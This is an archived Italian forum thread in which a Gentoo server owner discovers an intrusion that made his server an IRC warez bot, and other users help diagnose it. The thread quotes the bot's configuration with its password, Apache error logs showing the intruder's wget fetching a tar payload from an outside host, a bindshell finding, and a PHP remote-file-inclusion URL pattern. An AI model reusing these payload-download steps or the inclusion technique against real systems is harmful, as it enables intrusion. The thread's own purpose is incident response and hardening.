PDA

View Full Version : [help] qualcuno mi si é intrufolato nel server!!


toniocartonio
27-01-2005, 10:06
Ciao ragazzi,
stamattina controllando il mio serverino ho scoperto che nel giro di una notte mi erano spariti circa 2 giga di spazio.

Ad un rapido giro di "find" ho scoperto che qualcuno mi aveva creato una serie di dir sotto la cartella tmp, a partire da una quasi invisibile cartella "..."

All´Interno di tale cartella, a parte un paio di film, c´erano una serie di dir che parevano quasi essere un sottosistema in miniatura (varie bin, etc e cose del genere)... e soprattutto un piccolo file eseguibile httpd, con il seguente file di configurazione:

user_nick [wP]-ytbdNIX
#channel #Warezpunks -plist 10 -pformat full
slotsmax 20
queuesize 100


pidfile .pid
#logfile /dev/.log
logstats no
logrotate weekly
statefile .state
connectionmethod direct
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
server irc.global-dimension.org 6667
channel #wp.bots -plist 20
user_realname ^B^C5,0WaReZ^C0,05pUnKs^O
user_modes +ixB
loginname wP
maxtransfersperperson 1
maxqueueditemsperperson 2
filedir /home/redhat/SOURCES/.sk12/
restrictlist
restrictprivlist
restrictprivlistmsg Wait for public list in the channel or join #wP to search.
respondtochannelxdcc
downloadhost *!*@*
headline ^B^C5,0WaReZ^C0,05pUnKs^O
creditline ^B^C5,0WaReZ^C0,05pUnKs^O
adminpass t0z4.r6/Atb5o
adminhost *0201!*pjax5@*.de.comcast.net
adminhost *0201!*[email protected]
adminhost *599!*@*.global-dimension.org
adminhost *599!*@*SeKsI.InDiaN.Association
uploadhost *!*@*
uploaddir /tmp/.../.../.../
uploadmaxsize 6000
hideos


Pur essendo un bel minkione, capisco benissimo cosa hanno fatto... l´unica cosa che non capisco é come??
Nei log l´unica cosa strana é una serie di tentativi di entrare via ssh falliti (e di cui ovviamente é stato registrato l´ip - 211.185.230.162 ... ad una rapida ricerca appartenente ad un figlio di donna di facili costumi coreano)

In genere tengo il sistema parecchio aggiornato, x cui i vari programmi potenzialmente vulnerabili (mi viene da pensare ad apache; courier/qmail; ssh; proftpd) sono giá all´ultima versione...
ssh non consente accesso a root ... webmin é spento... e peró il bastardo é entrato lo stesso, senza praticamente lasciar traccia.

Ho cancellato tutti i files uploadati da loro, e gli eseguibili (ho tenuto solo sti files di configurazione come riferimento).

Secondo voi da dove potrebbero essere entrati?
Stavo riflettendo sulla possibilitá di far girare apache2 in chroot (era in programma, ma non ho avuto il tempo) e magari di cambiare la porta di accesso ad ssh (purtroppo non posso disabilitarlo, visto che é l´unico modo che ho di accedere e gestire la macchina)... altri suggerimenti?

:muro:

bort_83
27-01-2005, 10:58
sei sicuro di accettare solo il protocollo 2 di ssh ?

e-Tip
27-01-2005, 11:00
mmmm prima di tutto il consiglio che ti dò è di formattare l'intero sistema e reinstallare il tutto.. sai mai che il malintenzionato abbia sostituito degli eseguibili creati ad hoc...
per il resto buh non saprei che cosa potrebbe essere che versione del software hai, che distro usi, quali servizi hai verso l'esterno... i log di apache dicono qualche cosa...?
e quelli di sistema?
Comunque il fatto che ti abbia lasciato i suoi file all'interno di tmp dimostra che non è abile:)
tra l'altro pare che ti usino come fileserver su irc... maledetti succhiatori di banda

bort_83
27-01-2005, 11:06
hehe già.. cmq prova a vedere che nn ti abbiano messo su dei rootkit

e cmq .. .meglio formattare e reinstallare... :(

toniocartonio
27-01-2005, 11:18
azz... pesante questa :rolleyes:

Di banda ce n´é... ho una 10 Mbit (e in effetti mi pareva parecchio strano che il cable modem desse segni di attivitá anche quando tutto era fermo :muro: )

Sto controllando i vari log in giro x vedere se trovo qualcosa di interessante... in ogni caso penso che reinstalleró il sistema quanto prima... facendo tesoro di quanto imparato finora (azz... si prospetta un weekend x nulla simpatico :( )

La distro é gentoo... x cui la cosa positiva é che posso reinstallare tutto mentre il sistema rimane up (ho 2 Harddisk x fortuna)... cavolo, l´incubo peggiore sará mettere su il mail server un´altra volta :cry:

e-Tip
27-01-2005, 11:28
fossi in te farei un bel backup con partimage alla fine dell'installazione e la metterei su cd... cosi al massimo devi fare solo un ripristino invece che una formattazione e reinstallazione completa... solo che quando fai il backup devi essere sicuro che il sistema è pulito...
P.S. adesso capisco perchè ti usano come webserver... p.s. io farei un giretto nel server e nel canale nel quale il tuo pc fa da webserver... cosi per curiosità

irc.global-dimension.org
canale #wP
oppure #wP.bots

toniocartonio
27-01-2005, 11:31
Ok... chrootkit ha trovato solo questo:
Checking `bindshell'... INFECTED (PORTS: 4000)


e sul forum di gentoo ho trovato questo (http://forums.gentoo.org/viewtopic.php?t=210585&highlight=rootkit+tool) e un po´ di altra roba...

direi che ho trovato che fare x i miei 2 ultimi giorni di lavoro in questo ufficio...

ilsensine
27-01-2005, 11:49
Originariamente inviato da toniocartonio
Pur essendo un bel minkione, capisco benissimo cosa hanno fatto... l´unica cosa che non capisco é come??
Oltre ssh, quanti altri servizi che dovresti tenere chiusi sono in esecuzione sulla macchina? Inoltre, effettui periodicamente gli aggiornamenti sulla protezione?

Nei log l´unica cosa strana é una serie di tentativi di entrare via ssh falliti (e di cui ovviamente é stato registrato l´ip - 211.185.230.162 ... ad una rapida ricerca appartenente ad un figlio di donna di facili costumi coreano)
Riportalo alle autorità, anche se probabilmente si tratta di uno zombie.

bort_83
27-01-2005, 11:51
probabilmente se cerchi tra i files trovi qualche pass del chan IRC ;)

giusto per rendere pan per focaccia :Perfido:

e-Tip
27-01-2005, 12:02
la pass c'e solo che è criptata... almeno penso che non ci sia nessuno cosi masochista da mettere come password t0z4.r6/Atb5o

Riportalo alle autorità, anche se probabilmente si tratta di uno zombie.

anche se non si trattasse di zombie non fanno nulla :)

toniocartonio
27-01-2005, 12:04
Allora... dopo un bel riavvio, questa é la situazione:


francescoinsvezia francesco # netstat -tlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 francescoinsvezia:mysql *:* LISTEN 5606/mysqld
tcp 0 0 *:pop3 *:* LISTEN 5930/couriertcpd
tcp 0 0 *:imap *:* LISTEN 5873/couriertcpd
tcp 0 0 *:10000 *:* LISTEN 6137/perl
tcp 0 0 *:http *:* LISTEN 5760/apache2
tcp 0 0 *:ftp *:* LISTEN 6187/xinetd
tcp 0 0 *:ssh *:* LISTEN 5641/sshd
tcp 0 0 *:smtp *:* LISTEN 5721/tcpserver
tcp 0 0 *:https *:* LISTEN 5760/apache2


I servizi in esecuzione mi sembrano giusti (a parte perl :rolleyes: che dite, é meglio se lo ri-emergo?)

chkrootkit dä tutto a posto...

La rottura di scatole é che non mi é mai riuscito di far loggare decentemente i messaggi di iptables (settato seguendo la guida su http://www.iptablesrocks.org/ ) a syslog-ng ... x cui manco di log del firewall decenti

EDIT: Perl in ascolto era webmin, riavviatosi automaticamente dopo il reboot di sistema :) mo cmq l´ho rispento

ilsensine
27-01-2005, 12:08
Originariamente inviato da toniocartonio
I servizi in esecuzione mi sembrano giusti (a parte perl :rolleyes: che dite, é meglio se lo ri-emergo?)
Veramente ti serve tutta quella roba?

Prendi l'abitudine ad eseguire gli aggiornamenti sulla sicurezza. Anzi sarebbe opportuno che si sottoscrivi a una mailing list dedicata agli advisory di sicurezza della tua distribuzione, se devi gestire un server con servizi potenzialmente pericolosi attivi.

e-Tip
27-01-2005, 12:09
prova a sniffare il traffico sulla porta 10000 e vedi che sensazioni ti da:)

EDIT: scusa ho letto dopo

toniocartonio
27-01-2005, 12:12
la porta 10000 ora é chiusa (era webmin, e l´ho terminato)

I servizi in esecuzione lassú sono apache (il webserver); xinetd (gestisce proftpd); courier,smtp e tcpserver (mail server); ssh ... o sbaglio?

Gli aggiornamenti di sicurezza li faccio continuamente: leggo ogni settimana la newsletter gentoo dove ci sono anche i security advices, e ogni pacchetto sopra menzionato (e sue dipendenze x quanto possibile) utilizza l´ultima versione disponibile.


SSH ho controllato... e tutti i tentativi di accesso falliti usavano ssh2 (che é l´unico attivo): cmq direi che provo a studiarmi un attimo il sistema x blindare ssh il + possibile, perché ho idea che il canale di ingresso sia stato quello...

e-Tip
27-01-2005, 12:17
mysql
Pop3 (courier)
imap (Courier)
apache2
ftp
sshd
smtp
https (apache2-ssl)

toniocartonio
27-01-2005, 12:20
Originariamente inviato da e-Tip
mysql
Pop3 (courier)
imap (Courier)
apache2
ftp
sshd
smtp
https (apache2-ssl)


appunto :D
prima che riavviassi c´erano in effetti una serie di programmini strani in esecuzione (c´erano almeno 4-5 elementi in +... fra cui un paio di sh e un zb mi pare)

Maestro
27-01-2005, 12:50
se tutto è aggiornato controlla gli scripts che usi sui siti presenti sull'Apache installato.

E' probabile che abbiano effettuato un arbitrary file inclusion via scripts PHP scritti male, cosa che va molto di moda ultimamente.

Cerca nell'access.log dei VirtualHosts (o generale, se non ne hai) "http://" o simile.


Ciao

P.S.: Controlla anche con ls -al i proprietari dei files che sono stati aggiunti, dovresti risalire all'utenza sfruttata e con un po' di indagini, anche al servizio.

Inoltre "sh" e' il processo della shell e Google dice che zB e' una famosa bindshell, quindi se erano visibile penso poco che siano parte del rootkit (che di solito tende a nascondere traccie).

Scarterei quindi, sempre per lo stesso motivo, che sia stato sfruttato SSH.

Per quanto riguarda i logs che parlano di tentativi, sono frequentissimi anche sui miei sistemi e di solito non c'e' nulla di cui preoccuparsi finche rimangono tali.

toniocartonio
27-01-2005, 14:16
mm... i file dello zozzone appartengono ad apache:apache
A giudicare dal mio error-log sono entrati proprio da qui...

[Wed Jan 26 03:03:15 2005] [error] [client 69.240.187.199] sh: line 0: fg: no job control
[Wed Jan 26 03:09:29 2005] [error] [client 64.40.108.94] sh: line 0: fg: no job control
[Wed Jan 26 03:12:49 2005] [error] [client 64.40.108.94] sh: line 0: fg: no job control
[Wed Jan 26 03:13:07 2005] [error] [client 64.40.108.94] mkdir: cannot create directory `...': File exists
[Wed Jan 26 03:13:07 2005] [error] [client 64.40.108.94] mkdir: cannot create directory `...': File exists
[Wed Jan 26 03:13:07 2005] [error] [client 64.40.108.94] mkdir: cannot create directory `...': File exists
[Wed Jan 26 03:13:07 2005] [error] [client 64.40.108.94] sh: line 0: fg: no job control
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] --03:13:33-- http://home.comcast.net/%7Ebandwidthbandit599/w/d.tar
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] => `d.tar'
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] Resolving home.comcast.net...
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] 204.127.198.24
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94]
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] Connecting to home.comcast.net[204.127.198.24]:80...
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] connected.
[Wed Jan 26 03:13:34 2005] [error] [client 64.40.108.94] HTTP request sent, awaiting response...
[Wed Jan 26 03:13:36 2005] [error] [client 64.40.108.94] 200 OK
[Wed Jan 26 03:13:36 2005] [error] [client 64.40.108.94] Length: 542,720 [application/x-tar]
[Wed Jan 26 03:13:36 2005] [error] [client 64.40.108.94]
[Wed Jan 26 03:13:36 2005] [error] [client 64.40.108.94] 0K


Successivamente un altro simpaticone con ip 69.240.187.199 ha fatto la stessa storia scaricando dal mio server il file http://www.cheddarology.com/m.tar

Che infatti contiene il mini sistema che gestiva tutto sto schifo...

Quello che ancora non mi é chiaro é come sono entrati... Nell´Access Log infatti non c´é alcuna entry x quell´ip di cui sopra...

Maestro
27-01-2005, 14:34
E' probabile che abbiano usato un proxy per lanciare qualcosa ed un altro per altri scopi come ad esempio scaricare tutto. C'e' qualche entry con http://, ftp:// contenuta nell'access.log?

Sei sicuro di aver configurato bene il logging degli accessi ? Non è che hai diversi VirtualHosts con diversi files per il logging delle visite?

Comunque, se apache ha accesso in scrittura a quei logfiles puo' darsi abbiano pensato bene di rimuovere le loro azioni.

Se apache e' aggiornato all'ultima versione penso proprio che la intrusione sia stata provocata, come ho detto, da scripts in PHP con bugs sfruttabili per esecuzione arbitraria di comandi o inclusione di files remoti contenenti codice ad hoc per lanciare comandi.

Quindi la sicurezza globale del server dovrebbe essere intatta, se nel kernel o in altri applicativi non ci sono bugs che consentono di diventare root.

Cercherei comunque i files creati dall'utente apache con find, e se non leciti, li cancellerei.

Puo darsi ci siano altre files, per i processi se il sistema e' OK con ps aux | grep apache dovresti vederli.

Controlla anche il crond per quell'utente.

Mettere in un ambiente chrootato apache2 e' una bella idea, che richiede pero' abbastanza tempo se si usano molte librerie o molti softwares esterni come ImageMagick e NetBPM.


Inoltre, safe_mode di PHP puo' essere utili in questi casi, ma come detto precedentemente per il chroot del demone, non e' una vera e propria soluzione anche se allontana gli scripts kiddies.

La vera soluzione è controllare periodicamente eventuali CMS, PhotoGallery e forums installati e controllare globalmente il codice scritto a mano, sopratutto per quanto riguarda gli include di variabili passate tramite GET e POST.

Ciao

toniocartonio
27-01-2005, 15:15
x i virtual hosts, di fatto l´unico attivo é quello del sito in sign... e purtroppo un altro dove avevo appoggiato il sito della mia vecchia associazione da sistemare (e mi sa che é proprio da lí che sono entrati... che minkia che sono stato). I log sono abbastanza accurati, in quanto li passo ad awstats x le statistiche di accesso...

Nei log di entrambi gli host gli unici http sono quelli dei referrer (e dei bot... ho scoperto che il mio sito lo leggiamo solo io e un tale signor googlebot :( ...naaa... i miei 5 lettori ce li ho anche io :p )

In ogni caso le loro tracce come dicevo c´erano tutte sull´error_log principale...

Gli script che uso cerco di tenerli +up2date possibile... ma non essendo un guru non ho idea di come andarmi a cercare gli exploit possibili

Secondo te se metto la root del sito della mia vecchia associazione (a cui devo accedere solo io alla fine) dietro un .htaccess + .htpasswd, puó servire a respingere quanto meno i piú ingenui dal cercare buchi nei files di quella cartella?

Maestro
27-01-2005, 17:14
Se la causa è un VirtualHost, limitando l'accesso per IP con un .htaccess del genere:


Order deny,allow
Deny from all
Allow from ip1
Allow from ip2


o usando la soluzione che hai detto la situazione non dovrebbe ripresentarsi più.


Quello che mi risulta strano è che l'errore sia contenuto nell'error_log principale, per caso è il primo VirtualHost definito o quel VirtualHost non ha nessun ErrorLog settato ?

toniocartonio
27-01-2005, 20:16
sí... é nell'error log del primo virtual host...
ho cmq tagliato la testa al toro... e disabilitato completamente il virtual host incriminato... tanto quando non devo fare tests non mi serve :)

Speriamo che regga... ti ringrazio x la collaborazione... e ovviamente accetto ulteriori consigli :cool:

Maestro
28-01-2005, 13:10
Ti consiglierei di controllare i files creati dall'utente apache con find, per pulire interamente il sistema.

Se usi un kernel recente o comunque che non ha bugs noti non ci dovrebbero essere problemi

Poi per quanto riguarda prevenire "attacchi" futuri, di solito e' sufficiente aggiornare il sistema, e gia' lo fai, per quanto riguarda l'httpd in chroot e il safe_mode dipende dagli utilizzi che ne fai.

Sappi che se tieni aggiornate tutte le applicazioni PHP che usi, e i tuoi scripts non permettono inclusioni arbitrarie del tipo pagina.php?page=http://y/x.php dove x.php e' uno script remoto che fa eseguire codice sul TUO server, non dovresti avere particolari problemi.

Ciao